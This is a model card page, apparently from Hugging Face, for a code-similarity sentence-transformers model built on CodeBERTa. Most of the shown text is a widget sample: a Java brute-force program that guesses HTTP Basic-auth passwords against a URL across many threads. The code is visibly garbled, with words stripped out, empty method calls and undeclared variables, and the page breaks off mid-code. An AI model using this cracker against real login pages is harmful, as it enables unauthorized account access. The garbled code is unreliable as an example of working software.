File size: 138,159 Bytes
e5098bf
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:30069
- loss:SoftmaxLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\n\
    import java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce\
    \ {\n    \n    \n    \n    public static String Base64Encode(String s) {\n   \
    \     byte[] bb = s.getBytes();\n        byte[] b  = bb;\n        char[] table\
    \ = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\
    \        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\
    \        '0','1','2','3','4','5','6','7','8','9','+','/' };\n        if (bb.length\
    \ % 3!=0) {\n            int x1 = bb.length;\n            \n            b = new\
    \ byte[(x1/3+1)*3];\n            int x2 = b.length;\n            \n          \
    \  for(int i=0;i<x1;i++)\n                b[i] = bb[i];\n            for(int i=x1;i<x2;i++)\n\
    \                b[i] = 0;\n        }\n        \n        char[] c = new char[b.length/3*4];\n\
    \        \n        int i=0, j=0;\n        while (i+3<=b.length) {\n          \
    \  c[j]     = table[(b[i]   >>  2)];\n            c[j+1]   = table[(b[i+1] >>\
    \  4) | ((b[i]   &  3) << 4)];\n            c[j+2]   = table[(b[i+2] >>  6) |\
    \ ((b[i+1] & 15) << 2)];\n            c[j+3]   = table[(b[i+2] &  63)];\n    \
    \        i+=3;\n            j+=4;\n        }\n        \n        j = c.length-1;\n\
    \        while (c[j]=='A') {\n            c[j]='=';\n            j--;\n      \
    \  }\n        \n        return String.valueOf(c);\n    }\n    \n    \n    public\
    \ synchronized void getAccumulatedLocalAttempt() {\n        attempt = 0;\n   \
    \     for (int i=0;i<MAXTHREAD;i++) {\n            attempt += threads[i].getLocalAttempt();\n\
    \        }\n    }\n    \n    \n    public synchronized void printStatusReport(String\
    \ Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n   \
    \     DecimalFormat fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\"\
    );\n        \n        System.out.println();\n        System.out.println(\" ------------------------\
    \ [ CURRENT STATISTICS ] ---------------------------\");\n        System.out.println();\n\
    \        System.out.println(\"  Current connections   : \"+curconn);\n       \
    \ System.out.println(\"  Current progress      : \"+attempt+ \" of \"+ALLCOMBI+\"\
    \ (\"+currprogress+\"%)\");\n        System.out.println(\"  Overall Attempts rate\
    \ : \"+ovrl+\" attempts  second (approx.)\");\n        System.out.println();\n\
    \        System.out.println(\" ---------------------------------------------------------------------------\"\
    );\n        System.out.println();\n    }\n    \n    \n    public class MyTT extends\
    \ TimerTask {\n        \n        public synchronized void run() {\n          \
    \  \n            \n            if (count==REPORT_INTERVAL) {\n               \
    \ \n                DecimalFormat fmt = new DecimalFormat();\n               \
    \ fmt.applyPattern(\"0.00\");\n                \n                \n          \
    \      getAccumulatedLocalAttempt();\n                double p = (double)attempt/(double)ALLCOMBI*100;\n\
    \                \n                \n                double aps = (double) (attempt\
    \ - attm) / REPORT_INTERVAL;\n                \n                \n           \
    \     attmArr[attmArrIdx++] = aps;\n                \n                \n     \
    \           printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n\
    \                count = 0;\n            } else\n                \n          \
    \      if (count==0) {\n                    getAccumulatedLocalAttempt();\n  \
    \                  attm = attempt;\n                    count++;\n           \
    \     } else {\n                    count++;\n                }\n        }\n \
    \       \n        \n        public synchronized double getOverallAttemptPerSec()\
    \ {\n            double val = 0;\n            for (int i=0;i<attmArrIdx;i++) {\n\
    \                 val+= attmArr[i];\n            }\n            return val / attmArrIdx;\n\
    \        }\n        \n        private int      count = 0;\n        private   int\
    \   attm;\n        private int      attmArrIdx = 0;\n        private double[]\
    \ attmArr = new double[2*60*60/10]; \n    }\n    \n    \n    public synchronized\
    \ void interruptAll(int ID) {\n        for (int i=0;i<MAXTHREAD;i++) {\n     \
    \       if ((threads[i].isAlive()) && (i!=ID)) {\n                threads[i].interrupt();\n\
    \            }\n            notifyAll();\n        }\n    }\n    \n    \n    \n\
    \    public synchronized void setSuccess(int ID, String p) {\n        passw  \
    \ = p;\n        success = ID;\n        notifyAll();\n        interruptAll(ID);\n\
    \        \n        \n        end = System.currentTimeMillis();\n    }\n    \n\
    \    \n    public synchronized boolean isSuccess() {\n        return (success>=0);\n\
    \    }\n    \n    \n    \n    public synchronized void waitUntilAllTerminated()\
    \ {\n        while (curconn>0) {\n            try {\n                wait();\n\
    \            } catch (InterruptedException e) {}\n        }\n    }\n    \n   \
    \ \n    \n    \n    public synchronized int waitUntilOK2Connect() {\n        boolean\
    \ interruptd= false;\n        int idx = -1;\n        \n        \n        \n  \
    \      \n        while (curconn>=MAXCONN) {\n            try {\n             \
    \   wait();\n            } catch (InterruptedException e) { interruptd = true;\
    \ }\n        }\n        \n        \n        \n        if (!interruptd) {\n   \
    \         \n            curconn++;\n            for (idx=0;idx<MAXCONN;idx++)\n\
    \                if (!connused[idx]) {\n                    connused[idx] = true;\n\
    \                    break;\n                }\n            \n            notifyAll();\n\
    \        }\n        \n        \n        return idx;\n    }\n    \n    \n    public\
    \ synchronized void decreaseConn(int idx) {\n        curconn--;\n        connused[idx]\
    \ = false;\n        \n        \n        notifyAll();\n    }\n    \n    \n    public\
    \ class ThCrack extends Thread {\n        \n        \n        public ThCrack(int\
    \ threadID, int startidx, int endidx) {\n            super(\" Thread #\"+String.valueOf(threadID)+\"\
    : \");\n            this.ID       = threadID;\n            this.startidx = startidx;\n\
    \            this.endidx   = endidx;\n            \n            setDaemon(true);\n\
    \        }\n        \n        \n        public boolean launchRequest(String ID,\
    \ int connID,String thePass) throws IOException, InterruptedException {\n    \
    \        int i ;\n            String msg;\n            \n            \n      \
    \      URL tryURL = new URL(THEURL);\n            \n            \n           \
    \ connections[connID]=(HttpURLConnection) tryURL.openConnection();\n         \
    \   \n            \n            connections[connID].setRequestProperty(\"Authorization\"\
    ,\" \"+Base64Encode(USERNAME+\":\"+thePass));\n            \n            \n  \
    \          i = connections[connID].getResponseCode();\n            msg  = connections[connID].getResponseMessage();\n\
    \            connections[connID].disconnect();\n            \n            \n \
    \           if (i==HttpURLConnection.HTTP_OK) {\n                \n          \
    \      System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"\
    -\"+msg+\").\");\n                setSuccess(this.ID,thePass);\n             \
    \   return (true);\n            } else {\n                \n                System.out.println(ID+\"\
    Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n    \
    \            return (false);\n            }\n        }\n        \n        \n \
    \       public void rest(int msec) {\n            try { sleep(msec); } catch (InterruptedException\
    \ e) {}\n        }\n        \n        \n        \n        public String constructPassword(\
    \ int idx) {\n            int     i = idxLimit.length-2;\n            boolean\
    \ processed = false;\n             \n            String result = \"\";\n     \
    \       while (i>=0) {\n                if (idx>=idxLimit[i]) {\n            \
    \        int nchar = i + 1;\n                    idx-=idxLimit[i];\n         \
    \           for (int j=0;j<nchar;j++) {\n                        x = (idx % NCHAR);\n\
    \                        result = charset.charAt((int) x) + result;\n        \
    \                idx /= NCHAR;\n                    }\n                    break;\n\
    \                }\n                i--;\n            }\n            \n      \
    \      return result;\n        }\n        \n        \n        public String getStartStr()\
    \ {\n            return constructPassword(this.startidx);\n        }\n       \
    \ \n        \n        public String getEndStr() {\n            return constructPassword(this.endidx);\n\
    \        }\n        \n        \n        public void run() {\n             i =\
    \ startidx;\n            boolean keeprunning = true;\n            while ((!isSuccess())\
    \ && (i<=endidx) && (keeprunning)) {\n                \n                \n   \
    \             int idx = waitUntilOK2Connect();\n                \n           \
    \     \n                if (idx==-1) {\n                    \n               \
    \     break;\n                }\n                \n                try {\n   \
    \                 \n                    launchRequest(getName(), idx, constructPassword(i));\n\
    \                    \n                    decreaseConn(idx);\n              \
    \      \n                    localattempt++;\n                    \n         \
    \           \n                    rest(MAXCONN);\n                    i++;\n \
    \               } catch (InterruptedException e) {\n                    \n   \
    \                 \n                    keeprunning = false;\n               \
    \     break;\n                } catch (IOException e) {\n                    \n\
    \                    \n                    \n                    \n          \
    \          \n                    decreaseConn(idx);\n                }\n     \
    \       }\n            \n            \n            if (success==this.ID) {\n \
    \               waitUntilAllTerminated();\n            }\n        }\n        \n\
    \        \n        public int getLocalAttempt() {\n            return localattempt;\n\
    \        }\n        \n        private int startidx,endidx;\n        private int\
    \ ID;\n        private int localattempt = 0;\n    }\n    \n    \n    public void\
    \ printProgramHeader(String mode,int nThread) {\n        System.out.println();\n\
    \        System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM\
    \ ] *********************\");\n        System.out.println();\n        System.out.println(\"\
    \  URL         : \"+THEURL);\n        System.out.println(\"  Crack Mode  : \"\
    +mode);\n        System.out.println(\"  Characters  : \"+charset);\n        System.out.println(\"\
    \  . Char   : \"+MINCHAR);\n        System.out.println(\"  . Char   : \"+MAXCHAR);\n\
    \        System.out.println(\"  # of Thread : \"+nThread);\n        System.out.println(\"\
    \  Connections : \"+MAXCONN);\n        System.out.println(\"  All Combi.  : \"\
    +ALLCOMBI);\n        System.out.println();\n        System.out.println(\" ***************************************************************************\"\
    );\n        System.out.println();\n    }\n    \n    \n    public void startNaiveCracking()\
    \ {\n        MAXTHREAD = 1;\n        MAXCONN   = 1;\n        startDistCracking();\n\
    \    }\n    \n    \n    public void startDistCracking() {\n         int startidx,endidx;\n\
    \        int   thcount;\n        \n        \n        if (isenhanced) {\n     \
    \       printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n\
    \        } else {\n            printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING\
    \ ALGORITHM\",MAXTHREAD);\n        }\n        \n        \n        i = System.currentTimeMillis();\n\
    \        \n         idxstart = idxLimit[MINCHAR-1];\n        \n        \n    \
    \    \n        \n        \n        \n        if (MAXTHREAD>ALLCOMBI - idxstart)\
    \ { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n         mult = (ALLCOMBI - idxstart)\
    \ / MAXTHREAD;\n        \n        \n        \n        for (thcount=0;thcount<MAXTHREAD-1;thcount++)\
    \ {\n            startidx = thcount*mult + idxstart;\n            endidx   = (thcount+1)*mult-1\
    \ + idxstart;\n            threads[thcount] = new ThCrack(thcount, startidx, endidx);\n\
    \            System.out.println(threads[thcount].getName()+\" try  crack from\
    \ '\"+threads[thcount].getStartStr()+\"'  '\"+threads[thcount].getEndStr()+\"\
    '\");\n        }\n        \n        \n        \n        \n        \n        startidx\
    \ = (MAXTHREAD-1)*mult + idxstart;\n        endidx   = ALLCOMBI-1;\n        threads[MAXTHREAD-1]\
    \ = new ThCrack(MAXTHREAD-1, startidx, endidx);\n        System.out.println(threads[MAXTHREAD-1].getName()+\"\
    \ try  crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"'  '\"+threads[MAXTHREAD-1].getEndStr()+\"\
    '\");\n        \n        System.out.println();\n        System.out.println(\"\
    \ ***************************************************************************\"\
    );\n        System.out.println();\n        \n        \n        for (int i=0;i<MAXTHREAD;i++)\n\
    \            threads[i].print();\n    }\n    \n    \n    public BruteForce() {\n\
    \        \n        if (isenhanced) {\n            startDistCracking();\n     \
    \   } else {\n            startNaiveCracking();\n        }\n        \n       \
    \ \n        reportTimer  = new java.util.Timer();\n        MyTT      tt = new\
    \ MyTT();\n        reportTimer.schedule(tt,1000,1000);\n        \n        \n \
    \       while ((success==-1) && (attempt<ALLCOMBI)) {\n            try { Thread.sleep(100);\
    \ getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }\n      \
    \  }\n        \n        \n        if (success==-1) {\n            end = System.currentTimeMillis();\n\
    \        }\n        \n        \n        getAccumulatedLocalAttempt();\n      \
    \  \n        double ovAps = tt.getOverallAttemptPerSec();\n        DecimalFormat\
    \ fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\");\n        \n\
    \        \n        reportTimer.cancel();\n        \n        \n        try { Thread.sleep(1000);\
    \ } catch (InterruptedException e) {  }\n        \n        \n        synchronized\
    \ (this) {\n            if (success>=0) {\n                System.out.println();\n\
    \                System.out.println(\" ********************* [ URL SUCCESSFULLY\
    \ CRACKED !! ] *********************\");\n                System.out.println();\n\
    \                System.out.println(\"  The password is     : \"+passw);\n   \
    \             System.out.println(\"  Number of attempts  : \"+attempt+\" of \"\
    +ALLCOMBI+\" total combinations\");\n                System.out.println(\"  Attempt\
    \ position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\
    \                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+\
    \ \" attempts/sec\");\n                System.out.println(\"  Cracking time  \
    \     : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n   \
    \             System.out.println(\"  Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\
    \ \" seconds\");\n                System.out.println();\n                System.out.println(\"\
    \ ***************************************************************************\"\
    );\n                System.out.println();\n            } else {\n            \
    \    System.out.println();\n                System.out.println(\" *********************\
    \ [ UNABLE  CRACK THE URL !!! ] *********************\");\n                System.out.println();\n\
    \                System.out.println(\"  Number of attempts  : \"+attempt+\" of\
    \ \"+ALLCOMBI+\" total combinations\");\n                System.out.println(\"\
    \  Attempt position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\
    %\");\n                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+\
    \ \" attempts/sec\");\n                System.out.println(\"  Cracking time  \
    \     : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n   \
    \             System.out.println();\n                System.out.println(\" ***************************************************************************\"\
    );\n                System.out.println();\n            }\n        }\n    }\n \
    \   \n    \n    public static void printSyntax() {\n        System.out.println();\n\
    \        System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] []\
    \ [username]\");\n        System.out.println();\n        System.out.println(\"\
    \   mode     : (opt) 0 - NAIVE Brute force mode\");\n        System.out.println(\"\
    \                        (trying from the first  the last combinations)\");\n\
    \        System.out.println(\"                    1 - ENHANCED Brute force mode\"\
    );\n        System.out.println(\"                        (dividing cracking jobs\
    \  multiple threads) (default)\");\n        System.out.println(\"   URL      :\
    \ (opt) the URL  crack \");\n        System.out.println(\"                   \
    \ (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n        System.out.println(\"\
    \   charset  : (optional) the character set used  crack.\");\n        System.out.println(\"\
    \              - (default)\");\n        System.out.println(\"                \
    \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"\
    \              -alphanum       \");\n        System.out.println(\"           \
    \      abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n  \
    \      System.out.println(\"              -alphalow       \");\n        System.out.println(\"\
    \                 abcdefghijklmnopqrstuvwxyz\");\n        System.out.println(\"\
    \              -alphaup        \");\n        System.out.println(\"           \
    \      ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"         \
    \     -number         \");\n        System.out.println(\"                 1234567890\"\
    );\n        System.out.println(\"               [custom] e.g. aAbB123\");\n  \
    \      System.out.println(\"   ,  : (optional) range of characters   applied in\
    \ the cracking\");\n        System.out.println(\"                         where\
    \  1   <=  <= 10  (default  = 1)\");\n        System.out.println(\"          \
    \                       <=  <= 10  (default  = 3)\");\n        System.out.println(\"\
    \   username : (optional) the username that is used  crack\");\n        System.out.println();\n\
    \        System.out.println(\"   NOTE: The optional parameters 'charset','','',\
    \ and 'username'\");\n        System.out.println(\"         have   specified altogether\
    \  none at all.\");\n        System.out.println(\"         For example, if [charset]\
    \ is specified, then [], [], and\");\n        System.out.println(\"         [username]\
    \ have   specified as well. If none of them  specified,\");\n        System.out.println(\"\
    \         default values   used.\");\n        System.out.println();\n        System.out.println(\"\
    \   Example of invocation :\");\n        System.out.println(\"         java BruteForce\
    \ \");\n        System.out.println(\"         java BruteForce 0\");\n        System.out.println(\"\
    \         java BruteForce 1 http://localhost/tryme.php\");\n        System.out.println(\"\
    \         java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n        System.out.println(\"\
    \         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n    \
    \    System.out.println();\n        System.out.println();\n    }\n    \n    \n\
    \    \n    \n    \n    \n    \n    \n    public static void countIdxLimit() {\n\
    \        idxLimit = new int[MAXCHAR+1];\n        \n        NCHAR    = charset.length();\n\
    \        ALLCOMBI = 0;\n        for (int i=0;i<=MAXCHAR;i++) {\n            if\
    \ (i==0) {\n                idxLimit[i] = 0;\n            } else {\n         \
    \       idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n            }\n    \
    \    }\n        \n        ALLCOMBI = idxLimit[idxLimit.length-1];\n    }\n   \
    \ \n    \n    public static void paramCheck(String[] args) {\n        int argc\
    \ = args.length;\n        \n        \n        try {\n            switch (Integer.valueOf(args[0]).intValue())\
    \ {\n                case 0: {\n                    isenhanced = false;\n    \
    \            } break;\n               case  1: {\n                    isenhanced\
    \ = true;\n                } break;\n                default:\n              \
    \      System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n\
    \                    printSyntax();\n                    System.exit(1);\n   \
    \         }\n        } catch (NumberFormatException e) {\n            System.out.println(\"\
    Syntax error : invalid number '\"+args[0]+\"'\");\n            printSyntax();\n\
    \            System.exit(1);\n        }\n        \n        if (argc>1) {\n   \
    \         try {\n                \n                URL u  = new URL(args[1]);\n\
    \                \n                \n                try {\n                 \
